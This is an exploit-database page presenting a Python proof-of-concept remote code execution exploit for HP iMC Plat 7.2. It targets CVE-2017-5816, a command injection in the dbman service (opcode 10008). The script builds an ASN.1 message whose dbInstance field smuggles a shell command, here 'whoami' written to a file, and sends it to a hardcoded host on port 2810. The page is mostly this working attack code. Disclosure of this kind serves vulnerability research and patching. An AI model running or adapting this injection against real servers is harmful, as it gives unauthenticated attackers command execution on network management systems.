HP iMC Plat 7.2 Remote Code Execution

2017.12.04
Credit: Chris Lyne
Risk: High
Local: No
Remote: Yes
CWE: N/A

#!/opt/local/bin/python2.7 # Exploit Title: HP iMC Plat 7.2 dbman Opcode 10008 Command Injection RCE # Date: 11-29-2017 # Exploit Author: Chris Lyne (@lynerc) # Vendor Homepage: www.hpe.com # Software Link: https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=16759&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber= # Version: iMC PLAT v7.2 (E0403) Standard # Tested on: Windows Server 2008 R2 Enterprise 64-bit # CVE : CVE-2017-5816 # See Also: http://www.zerodayinitiative.com/advisories/ZDI-17-340/ # note that this PoC will create a file 'C:\10008.txt' from pyasn1.type.univ import * from pyasn1.type.namedtype import * from pyasn1.codec.ber import encoder import struct import binascii import socket, sys ip = '192.168.1.74' port = 2810 payload = "whoami > C:\\10008.txt" opcode = 10008 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) class DbmanMsg(Sequence): componentType = NamedTypes( NamedType('dbIp', OctetString()), NamedType('iDBType', Integer()), NamedType('dbInstance', OctetString()), NamedType('dbSaUserName', OctetString()), NamedType('dbSaPassword', OctetString()), NamedType('strOraDbIns', OctetString()) ) msg = DbmanMsg() msg['dbIp'] = ip msg['iDBType'] = 4 msg['dbInstance'] = "a\"& " + payload + " &" msg['dbSaUserName'] = "b" msg['dbSaPassword'] = "c" msg['strOraDbIns'] = "d" encodedMsg = encoder.encode(msg, defMode=True) msgLen = len(encodedMsg) values = (opcode, msgLen, encodedMsg) s = struct.Struct(">ii%ds" % msgLen) packed_data = s.pack(*values) sock.send(packed_data) sock.close()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top